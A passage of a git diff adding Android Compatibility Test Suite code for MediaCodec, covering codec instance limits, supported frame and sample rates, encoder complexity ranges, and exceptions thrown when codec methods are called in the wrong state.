+        } else {
+            AudioCapabilities acaps = caps.getAudioCapabilities();
+            int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower();
+            int minChannelCount = 1;
+            int minBitrate = acaps.getBitrateRange().getLower();
+            format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
+        }
+
+        return format;
+    }
+
+    private int getActualMax(
+            boolean isEncoder, String name, String mime, CodecCapabilities caps, int max) {
+        int flag = isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0;
+        boolean memory_limited = false;
+        MediaFormat format = createMinFormat(mime, caps);
+        Log.d(TAG, "Test format " + format);
+        Vector<MediaCodec> codecs = new Vector<MediaCodec>();
+        MediaCodec codec = null;
+        ActivityManager am = (ActivityManager)
+                mContext.getSystemService(Context.ACTIVITY_SERVICE);
+        ActivityManager.MemoryInfo outInfo = new ActivityManager.MemoryInfo();
+        for (int i = 0; i < max; ++i) {
+            try {
+                Log.d(TAG, "Create codec " + name + " #" + i);
+                codec = MediaCodec.createByCodecName(name);
+                codec.configure(format, null, null, flag);
+                codec.start();
+                codecs.add(codec);
+                codec = null;
+
+                am.getMemoryInfo(outInfo);
+                if (outInfo.lowMemory) {
+                    Log.d(TAG, "System is in low memory condition, stopping. max: " + i);
+                    memory_limited = true;
+                    break;
+                }
+            } catch (IllegalArgumentException e) {
+                fail("Got unexpected IllegalArgumentException " + e.getMessage());
+            } catch (IOException e) {
+                fail("Got unexpected IOException " + e.getMessage());
+            } catch (MediaCodec.CodecException e) {
+                // ERROR_INSUFFICIENT_RESOURCE is expected as the test keep creating codecs.
+                // But other exception should be treated as failure.
+                if (e.getErrorCode() == MediaCodec.CodecException.ERROR_INSUFFICIENT_RESOURCE) {
+                    Log.d(TAG, "Got CodecException with ERROR_INSUFFICIENT_RESOURCE.");
+                    break;
+                } else {
+                    fail("Unexpected CodecException " + e.getDiagnosticInfo());
+                }
+            } finally {
+                if (codec != null) {
+                    Log.d(TAG, "release codec");
+                    codec.release();
+                    codec = null;
+                }
+            }
+        }
+        int actualMax = codecs.size();
+        for (int i = 0; i < codecs.size(); ++i) {
+            Log.d(TAG, "release codec #" + i);
+            codecs.get(i).release();
+        }
+        codecs.clear();
+        // encode both actual max and whether we ran out of memory
+        if (memory_limited) {
+            actualMax = -actualMax;
+        }
+        return actualMax;
+    }
+
+    private boolean knownTypes(String type) {
+        return (type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_AAC  ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_AC3      ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_AMR_NB   ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_AMR_WB   ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_EAC3     ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_FLAC     ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_G711_ALAW) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_G711_MLAW) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_MPEG     ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_MSGSM    ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_OPUS     ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_RAW      ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_VORBIS   ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_AV1      ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_AVC      ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_H263     ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_HEVC     ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_MPEG2    ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_MPEG4    ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_VP8      ) ||
+            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_VP9      ));
+    }
+
+    @Test
+    public void testGetMaxSupportedInstances() {
+        StringBuilder xmlOverrides = new StringBuilder();
+        MediaCodecList allCodecs = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        final boolean isLowRam = ActivityManager.isLowRamDeviceStatic();
+        for (MediaCodecInfo info : allCodecs.getCodecInfos()) {
+            Log.d(TAG, "codec: " + info.getName());
+            Log.d(TAG, "  isEncoder = " + info.isEncoder());
+
+            // don't bother testing aliases
+            if (info.isAlias()) {
+                Log.d(TAG, "skipping: " + info.getName() + " is an alias for " +
+                                info.getCanonicalName());
+                continue;
+            }
+
+            String[] types = info.getSupportedTypes();
+            for (int j = 0; j < types.length; ++j) {
+                if (!knownTypes(types[j])) {
+                    Log.d(TAG, "skipping unknown type " + types[j]);
+                    continue;
+                }
+                Log.d(TAG, "calling getCapabilitiesForType " + types[j]);
+                CodecCapabilities caps = info.getCapabilitiesForType(types[j]);
+                int advertised = caps.getMaxSupportedInstances();
+                Log.d(TAG, "getMaxSupportedInstances returns " + advertised);
+                assertTrue(advertised > 0);
+
+                // see how well the declared max matches against reality
+
+                int tryMax = isLowRam ? 16 : 32;
+                int tryMin = isLowRam ? 4 : 16;
+
+                int trials = Math.min(advertised + 2, tryMax);
+                int actualMax = getActualMax(
+                        info.isEncoder(), info.getName(), types[j], caps, trials);
+                Log.d(TAG, "actualMax " + actualMax + " vs advertised " + advertised
+                                + " tryMin " + tryMin + " tryMax " + tryMax);
+
+                boolean memory_limited = false;
+                if (actualMax < 0) {
+                    memory_limited = true;
+                    actualMax = -actualMax;
+                }
+
+                boolean compliant = true;
+                if (info.isHardwareAccelerated()) {
+                    // very specific bounds for HW codecs
+                    // so the adv+2 above is to see if the HW codec lets us go beyond adv
+                    // (it should not)
+                    if (actualMax != Math.min(advertised, tryMax)) {
+                        Log.d(TAG, "NO: hwcodec " + actualMax + " != min(" + advertised +
+                                            "," + tryMax + ")");
+                        compliant = false;
+                    }
+                } else {
+                    // sw codecs get a little more relaxation due to memory pressure
+                    if (actualMax >= Math.min(advertised, tryMax)) {
+                        // no memory issues, and we allocated them all
+                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+                                        "," + tryMax + ")");
+                    } else if (actualMax >= Math.min(advertised, tryMin) &&
+                                    memory_limited) {
+                        // memory issues, but we hit our floors
+                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
+                                        "," + tryMin + ") + memory limited");
+                    } else {
+                        Log.d(TAG, "NO: swcodec didn't meet criteria");
+                        compliant = false;
+                    }
+                }
+
+                if (!compliant) {
+                    String codec = "<MediaCodec name=\"" + info.getName() +
+                            "\" type=\"" + types[j] + "\" >";
+                    String limit = "    <Limit name=\"concurrent-instances\" max=\"" +
+                            actualMax + "\" />";
+                    xmlOverrides.append(codec);
+                    xmlOverrides.append("\n");
+                    xmlOverrides.append(limit);
+                    xmlOverrides.append("\n");
+                    xmlOverrides.append("</MediaCodec>\n");
+                }
+            }
+        }
+
+        if (xmlOverrides.length() > 0) {
+            String failMessage = "In order to pass the test, please publish following " +
+                    "codecs' concurrent instances limit in /etc/media_codecs.xml: \n";
+           fail(failMessage + xmlOverrides.toString());
+        }
+    }
+
+    @Test
+    public void testGetSupportedFrameRates() throws IOException {
+        // Chose MediaFormat.MIMETYPE_VIDEO_H263 randomly
+        CodecCapabilities codecCap = CodecCapabilities.createFromProfileLevel(
+                MediaFormat.MIMETYPE_VIDEO_H263, H263ProfileBaseline, H263Level45);
+        Range<Integer> supportedFrameRates =
+                codecCap.getVideoCapabilities().getSupportedFrameRates();
+        Log.d(TAG, "Supported Frame Rates : " + supportedFrameRates.toString());
+        /*
+            ITU-T Rec. H.263/Annex X (03/2004) says that for H263ProfileBaseline and H263Level45,
+            the device has to support 15 fps.
+        */
+        assertTrue("Invalid framerate range", Range.create(1, 15).equals(supportedFrameRates));
+    }
+
+    @Test
+    public void testIsSampleRateSupported() throws IOException {
+        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            return; // skip
+        }
+        // Chose AAC Decoder/MediaFormat.MIMETYPE_AUDIO_AAC randomly
+        MediaCodec codec = MediaCodec.createDecoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
+        MediaCodecInfo.AudioCapabilities audioCap = codec.getCodecInfo()
+                    .getCapabilitiesForType(MediaFormat.MIMETYPE_AUDIO_AAC).getAudioCapabilities();
+        final int[] validSampleRates = {8000, 16000, 22050, 44100};
+        for(int sampleRate : validSampleRates) {
+            Log.d(TAG, "SampleRate = " + sampleRate);
+            assertTrue("Expected True for isSampleRateSupported",
+                audioCap.isSampleRateSupported(sampleRate));
+        }
+        final int[] invalidSampleRates = {-1, 0, 1, Integer.MAX_VALUE};
+        for(int sampleRate : invalidSampleRates) {
+            Log.d(TAG, "SampleRate = " + sampleRate);
+            assertFalse("Expected False for isSampleRateSupported",
+                audioCap.isSampleRateSupported(sampleRate));
+        }
+        codec.release();
+    }
+
+    // API test coverage for MediaCodecInfo.EncoderCapabilities.getComplexityRange()
+    @Test
+    public void testGetComplexityRange() throws IOException {
+        boolean skipTest = true;
+        if (MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            // Chose AAC Encoder/MediaFormat.MIMETYPE_AUDIO_AAC randomly
+            MediaCodec codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
+            Range<Integer> complexityRange =
+                    codec.getCodecInfo()
+                            .getCapabilitiesForType(MediaFormat.MIMETYPE_AUDIO_AAC)
+                            .getEncoderCapabilities()
+                            .getComplexityRange();
+            Log.d(TAG, "AAC ComplexityRange : " + complexityRange.toString());
+            assertTrue("AAC ComplexityRange invalid low value", complexityRange.getLower() >= 0);
+            codec.release();
+            skipTest = false;
+        }
+        if (MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+            // Repeat test with FLAC Encoder
+            MediaCodec codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_AUDIO_FLAC);
+            Range<Integer> complexityRange =
+                    codec.getCodecInfo()
+                            .getCapabilitiesForType(MediaFormat.MIMETYPE_AUDIO_FLAC)
+                            .getEncoderCapabilities()
+                            .getComplexityRange();
+            Log.d(TAG, "FLAC ComplexityRange : " + complexityRange.toString());
+            assertTrue("FLAC ComplexityRange invalid low value", complexityRange.getLower() >= 0);
+            codec.release();
+            skipTest = false;
+        }
+        if (skipTest) {
+            MediaUtils.skipTest(TAG, "AAC and FLAC encoders not present");
+        }
+    }
+
+    @Test
+    public void testLowLatencyFeatureIsSupportedOnly() throws IOException {
+        MediaCodecList list = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        for (MediaCodecInfo info : list.getCodecInfos()) {
+            for (String type : info.getSupportedTypes()) {
+                CodecCapabilities caps = info.getCapabilitiesForType(type);
+                if (caps.isFeatureSupported(CodecCapabilities.FEATURE_LowLatency)) {
+                    assertFalse(
+                        info.getName() + "(" + type + ") "
+                            + " supports low latency, but low latency shall not be required",
+                        caps.isFeatureRequired(CodecCapabilities.FEATURE_LowLatency));
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
new file mode 100644
index 0000000..4294059
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
@@ -0,0 +1,2539 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.res.AssetFileDescriptor;
+import android.hardware.HardwareBuffer;
+import android.media.AudioFormat;
+import android.media.AudioPresentation;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodec.CodecException;
+import android.media.MediaCodec.CryptoException;
+import android.media.MediaCodec.CryptoInfo;
+import android.media.MediaCodec.CryptoInfo.Pattern;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.AudioCapabilities;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.CodecProfileLevel;
+import android.media.MediaCodecInfo.EncoderCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.InputSurface;
+import android.media.cts.OutputSurface;
+import android.media.cts.Preconditions;
+import android.media.cts.StreamUtils;
+import android.media.cts.TestUtils;
+import android.opengl.GLES20;
+import android.os.Build;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.util.Range;
+import android.view.Surface;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * General MediaCodec tests.
+ *
+ * In particular, check various API edge cases.
+ */
+@Presubmit
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaCodecTest extends AndroidTestCase {
+    private static final String TAG = "MediaCodecTest";
+    private static final boolean VERBOSE = false;           // lots of logging
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    // parameters for the video encoder
+                                                            // H.264 Advanced Video Coding
+    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final int BIT_RATE = 2000000;            // 2Mbps
+    private static final int FRAME_RATE = 15;               // 15fps
+    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
+    private static final int WIDTH = 1280;
+    private static final int HEIGHT = 720;
+    // parameters for the audio encoder
+    private static final String MIME_TYPE_AUDIO = MediaFormat.MIMETYPE_AUDIO_AAC;
+    private static final int AUDIO_SAMPLE_RATE = 44100;
+    private static final int AUDIO_AAC_PROFILE = 2; /* OMX_AUDIO_AACObjectLC */
+    private static final int AUDIO_CHANNEL_COUNT = 2; // mono
+    private static final int AUDIO_BIT_RATE = 128000;
+
+    private static final int TIMEOUT_USEC = 100000;
+    private static final int TIMEOUT_USEC_SHORT = 100;
+
+    private boolean mVideoEncoderHadError = false;
+    private boolean mAudioEncoderHadError = false;
+    private volatile boolean mVideoEncodingOngoing = false;
+
+    private static final String INPUT_RESOURCE =
+            "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
+
+    // The test should fail if the decoder never produces output frames for the input.
+    // Time out decoding, as we have no way to query whether the decoder will produce output.
+    private static final int DECODING_TIMEOUT_MS = 10000;
+
+    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    /**
+     * Tests:
+     * <br> Exceptions for MediaCodec factory methods
+     * <br> Exceptions for MediaCodec methods when called in the incorrect state.
+     *
+     * A selective test to ensure proper exceptions are thrown from MediaCodec
+     * methods when called in incorrect operational states.
+     */
+    public void testException() throws Exception {
+        boolean tested = false;
+        // audio decoder (MP3 should be present on all Android devices)
+        MediaFormat format = MediaFormat.createAudioFormat(
+                MediaFormat.MIMETYPE_AUDIO_MPEG, 44100 /* sampleRate */, 2 /* channelCount */);
+        tested = verifyException(format, false /* isEncoder */) || tested;
+
+        // audio encoder (AMR-WB may not be present on some Android devices)
+        format = MediaFormat.createAudioFormat(
+                MediaFormat.MIMETYPE_AUDIO_AMR_WB, 16000 /* sampleRate */, 1 /* channelCount */);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, 19850);
+        tested = verifyException(format, true /* isEncoder */) || tested;
+
+        // video decoder (H.264/AVC may not be present on some Android devices)
+        format = createMediaFormat();
+        tested = verifyException(format, false /* isEncoder */) || tested;
+
+        // video encoder (H.264/AVC may not be present on some Android devices)
+        tested = verifyException(format, true /* isEncoder */) || tested;
+
+        // signal test is skipped due to no device media codecs.
+        if (!tested) {
+            MediaUtils.skipTest(TAG, "cannot find any compatible device codecs");
+        }
+    }
+
+    // wrap MediaCodec encoder and decoder creation
+    private static MediaCodec createCodecByType(String type, boolean isEncoder)
+            throws IOException {
+        if (isEncoder) {
+            return MediaCodec.createEncoderByType(type);
+        }
+        return MediaCodec.createDecoderByType(type);
+    }
+
+    private static void logMediaCodecException(MediaCodec.CodecException ex) {
+        if (ex.isRecoverable()) {
+            Log.w(TAG, "CodecException Recoverable: " + ex.getErrorCode());
+        } else if (ex.isTransient()) {
+            Log.w(TAG, "CodecException Transient: " + ex.getErrorCode());
+        } else {
+            Log.w(TAG, "CodecException Fatal: " + ex.getErrorCode());
+        }
+    }
+
+    private static boolean verifyException(MediaFormat format, boolean isEncoder)
+            throws IOException {
+        String mimeType = format.getString(MediaFormat.KEY_MIME);
+        if (!supportsCodec(mimeType, isEncoder)) {
+            Log.i(TAG, "No " + (isEncoder ? "encoder" : "decoder")
+                    + " found for mimeType= " + mimeType);
+            return false;
+        }
+
+        final boolean isVideoEncoder = isEncoder && mimeType.startsWith("video/");
+
+        if (isVideoEncoder) {
+            format = new MediaFormat(format);
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        }
+
+        // create codec (enter Initialized State)
+        MediaCodec codec;
+
+        // create improperly
+        final String methodName = isEncoder ? "createEncoderByType" : "createDecoderByType";
+        try {
+            codec = createCodecByType(null, isEncoder);
+            fail(methodName + " should return NullPointerException on null");
+        } catch (NullPointerException e) { // expected
+        }
+        try {
+            codec = createCodecByType("foobarplan9", isEncoder); // invalid type
+            fail(methodName + " should return IllegalArgumentException on invalid type");
+        } catch (IllegalArgumentException e) { // expected
+        }
+        try {
+            codec = MediaCodec.createByCodecName("foobarplan9"); // invalid name
+            fail(methodName + " should return IllegalArgumentException on invalid name");
+        } catch (IllegalArgumentException e) { // expected
+        }
+        // correct
+        codec = createCodecByType(format.getString(MediaFormat.KEY_MIME), isEncoder);
+
+        // test a few commands
+        try {
+            codec.start();
+            fail("start should return IllegalStateException when in Initialized state");
+        } catch (MediaCodec.CodecException e) {
+            logMediaCodecException(e);
+            fail("start should not return MediaCodec.CodecException on wrong state");
+        } catch (IllegalStateException e) { // expected
+        }
+        try {
+            codec.flush();
+            fail("flush should return IllegalStateException when in Initialized state");
+        } catch (MediaCodec.CodecException e) {
+            logMediaCodecException(e);
+            fail("flush should not return MediaCodec.CodecException on wrong state");
+        } catch (IllegalStateException e) { // expected
+        }
+        MediaCodecInfo codecInfo = codec.getCodecInfo(); // obtaining the codec info now is fine.
+        try {
+            int bufIndex = codec.dequeueInputBuffer(0);
+            fail("dequeueInputBuffer should return IllegalStateException"
+                    + " when in the Initialized state");
+        } catch (MediaCodec.CodecException e) {
+            logMediaCodecException(e);
+            fail("dequeueInputBuffer should not return MediaCodec.CodecException"
+                    + " on wrong state");
+        } catch (IllegalStateException e) { // expected
+        }
+        try {
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+            int bufIndex = codec.dequeueOutputBuffer(info, 0);
+            fail("dequeueOutputBuffer should return IllegalStateException"
+                    + " when in the Initialized state");
+        } catch (MediaCodec.CodecException e) {
+            logMediaCodecException(e);
+            fail("dequeueOutputBuffer should not return MediaCodec.CodecException"
+                    + " on wrong state");
+        } catch (IllegalStateException e) { // expected
+        }
+
+        // configure (enter Configured State)
+
+        // configure improperly
+        try {
+            codec.configure(format, null /* surface */, null /* crypto */,
+                    isEncoder ? 0 : MediaCodec.CONFIGURE_FLAG_ENCODE /* flags */);
+            fail("configure needs MediaCodec.CONFIGURE_FLAG_ENCODE for encoders only");
+        } catch (MediaCodec.CodecException e) { // expected
+            logMediaCodecException(e);
+        } catch (IllegalStateException e) {
+            fail("configure should not return IllegalStateException when improperly configured");
+        }
+        // correct
+        codec.configure(format, null /* surface */, null /* crypto */,
+                isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0 /* flags */);
+
+        // test a few commands
+        try {
+            codec.flush();
+            fail("flush should return IllegalStateException when in Configured state");
+        } catch (MediaCodec.CodecException e) {
+            logMediaCodecException(e);
+            fail("flush should not return MediaCodec.CodecException on wrong state");
+        } catch (IllegalStateException e) { // expected
+        }
+        try {
+            Surface surface = codec.createInputSurface();
+            if (!isEncoder) {
+                fail("createInputSurface should not work on a decoder");
+            }
+        } catch (IllegalStateException |
+                 IllegalArgumentException e) { // expected for decoder and audio encoder
+            if (isVideoEncoder) {
+                throw e;
+            }
+        }
+
+        // test getInputBuffers before start()
+        try {
+            ByteBuffer[] buffers = codec.getInputBuffers();
+            fail("getInputBuffers called before start() should throw exception");
+        } catch (IllegalStateException e) { // expected
+        }
+
+        // start codec (enter Executing state)
+        codec.start();
+
+        // test getInputBuffers after start()
+        try {
+            ByteBuffer[] buffers = codec.getInputBuffers();
+            if (buffers == null) {
+                fail("getInputBuffers called after start() should not return null");
+            }
+            if (isVideoEncoder && buffers.length > 0) {
+                fail("getInputBuffers returned non-zero length array with input surface");
+            }
+        } catch (IllegalStateException e) {
+            fail("getInputBuffers called after start() shouldn't throw exception");
+        }
+
+        // test a few commands
+        try {
+            codec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
+            fail("configure should return IllegalStateException when in Executing state");
+        } catch (MediaCodec.CodecException e) {
+            logMediaCodecException(e);
+            // TODO: consider configuring after a flush.
+            fail("configure should not return MediaCodec.CodecException on wrong state");
+        } catch (IllegalStateException e) { // expected
+        }
+        if (mIsAtLeastR) {
+            try {
+                codec.getQueueRequest(0);
+                fail("getQueueRequest should throw IllegalStateException when not configured with " +
+                        "CONFIGURE_FLAG_USE_BLOCK_MODEL");
+            } catch (MediaCodec.CodecException e) {
+                logMediaCodecException(e);
+                fail("getQueueRequest should not return " +
+                        "MediaCodec.CodecException on wrong configuration");
+            } catch (IllegalStateException e) { // expected
+            }
+            try {
+                codec.getOutputFrame(0);
+                fail("getOutputFrame should throw IllegalStateException when not configured with " +
+                        "CONFIGURE_FLAG_USE_BLOCK_MODEL");
+            } catch (MediaCodec.CodecException e) {
+                logMediaCodecException(e);
+                fail("getOutputFrame should not return MediaCodec.CodecException on wrong " +
+                        "configuration");
+            } catch (IllegalStateException e) { // expected
+            }
+        }
+
+        // two flushes should be fine.
+        codec.flush();
+        codec.flush();
+
+        // stop codec (enter Initialized state)
+        // two stops should be fine.
+        codec.stop();
+        codec.stop();
+
+        // release codec (enter Uninitialized state)
+        // two releases should be fine.
+        codec.release();
+        codec.release();
+
+        try {
+            codecInfo = codec.getCodecInfo();
+            fail("getCodecInfo should should return IllegalStateException" +
+                    " when in Uninitialized state");
+        } catch (MediaCodec.CodecException e) {
+            logMediaCodecException(e);
+            fail("getCodecInfo should not return MediaCodec.CodecException on wrong state");
+        } catch (IllegalStateException e) { // expected
+        }
+        try {
+            codec.stop();
+            fail("stop should return IllegalStateException when in Uninitialized state");
+        } catch (MediaCodec.CodecException e) {
+            logMediaCodecException(e);
+            fail("stop should not return MediaCodec.CodecException on wrong state");
+        } catch (IllegalStateException e) { // expected
+        }
+
+        if (mIsAtLeastS) {
+            try {
+                codec.getSupportedVendorParameters();
+                fail("getSupportedVendorParameters should throw IllegalStateException" +
+                        " when in Uninitialized state");
+            } catch (IllegalStateException e) { // expected
+            } catch (Exception e) {
+                fail("unexpected exception: " + e.toString());
+            }
+            try {
+                codec.getParameterDescriptor("");
+                fail("getParameterDescriptor should throw IllegalStateException" +
+                        " when in Uninitialized state");
+            } catch (IllegalStateException e) { // expected
+            } catch (Exception e) {
+                fail("unexpected exception: " + e.toString());
+            }
+            try {
+                codec.subscribeToVendorParameters(List.of(""));
+                fail("subscribeToVendorParameters should throw IllegalStateException" +
+                        " when in Uninitialized state");
+            } catch (IllegalStateException e) { // expected
+            } catch (Exception e) {
+                fail("unexpected exception: " + e.toString());
+            }
+            try {
+                codec.unsubscribeFromVendorParameters(List.of(""));
+                fail("unsubscribeFromVendorParameters should throw IllegalStateException" +
+                        " when in Uninitialized state");
+            } catch (IllegalStateException e) { // expected
+            } catch (Exception e) {
+                fail("unexpected exception: " + e.toString());
+            }
+        }
+
+        if (mIsAtLeastR) {
+            // recreate
+            codec = createCodecByType(format.getString(MediaFormat.KEY_MIME), isEncoder);
+
+            if (isVideoEncoder) {
+                format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                        MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+            }
+
+            // configure improperly
+            try {
+                codec.configure(format, null /* surface */, null /* crypto */,
+                        MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL |
+                        (isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0) /* flags */);
+                fail("configure with detached buffer mode should be done after setCallback");
+            } catch (MediaCodec.CodecException e) {
+                logMediaCodecException(e);
+                fail("configure should not return IllegalStateException when improperly configured");
+            } catch (IllegalStateException e) { // expected
+            }
+
+            final LinkedBlockingQueue<Integer> inputQueue = new LinkedBlockingQueue<>();
+            codec.setCallback(new MediaCodec.Callback() {
+                @Override
+                public void onInputBufferAvailable(MediaCodec codec, int index) {
+                    inputQueue.offer(index);
+                }
+                @Override
+                public void onOutputBufferAvailable(
+                        MediaCodec codec, int index, MediaCodec.BufferInfo info) { }
+                @Override
+                public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) { }
+                @Override
+                public void onError(MediaCodec codec, CodecException e) { }
+            });
+
+            // configure with CONFIGURE_FLAG_USE_BLOCK_MODEL (enter Configured State)
+            codec.configure(format, null /* surface */, null /* crypto */,
+                    MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL |
+                    (isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0) /* flags */);
+
+            // start codec (enter Executing state)
+            codec.start();
+
+            // grab input index (this should happen immediately)
+            Integer index = null;
+            try {
+                index = inputQueue.poll(2, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+            }
+            assertNotNull(index);
+
+            // test a few commands
+            try {
+                codec.getInputBuffers();
+                fail("getInputBuffers called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+            try {
+                codec.getOutputBuffers();
+                fail("getOutputBuffers called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+            try {
+                codec.getInputBuffer(index);
+                fail("getInputBuffer called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+            try {
+                codec.dequeueInputBuffer(0);
+                fail("dequeueInputBuffer called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+            try {
+                codec.dequeueOutputBuffer(info, 0);
+                fail("dequeueOutputBuffer called in detached buffer mode should throw exception");
+            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
+            }
+
+            // test getQueueRequest
+            MediaCodec.QueueRequest request = codec.getQueueRequest(index);
+            try {
+                request.queue();
+                fail("QueueRequest should throw IllegalStateException when no buffer is set");
+            } catch (IllegalStateException e) { // expected
+            }
+            // setting a block
+            String[] names = new String[]{ codec.getName() };
+            request.setLinearBlock(MediaCodec.LinearBlock.obtain(1, names), 0, 0);
+            // setting additional block should fail
+            try (HardwareBuffer buffer = HardwareBuffer.create(
+                    16 /* width */,
+                    16 /* height */,
+                    HardwareBuffer.YCBCR_420_888,
+                    1 /* layers */,
+                    HardwareBuffer.USAGE_CPU_READ_OFTEN | HardwareBuffer.USAGE_CPU_WRITE_OFTEN)) {
+                request.setHardwareBuffer(buffer);
+                fail("QueueRequest should throw IllegalStateException multiple blocks are set.");
+            } catch (IllegalStateException e) { // expected
+            }
+        }
+
+        // release codec
+        codec.release();
+
+        return true;
+    }
+
+    /**
+     * Tests:
+     * <br> calling createInputSurface() before configure() throws exception
+     * <br> calling createInputSurface() after start() throws exception
+     * <br> calling createInputSurface() with a non-Surface color format is not required to throw exception
+     */
+    public void testCreateInputSurfaceErrors() {
+        if (!supportsCodec(MIME_TYPE, true)) {
+            Log.i(TAG, "No encoder found for mimeType= " + MIME_TYPE);
+            return;
+        }
+
+        MediaFormat format = createMediaFormat();
+        MediaCodec encoder = null;
+        Surface surface = null;
+
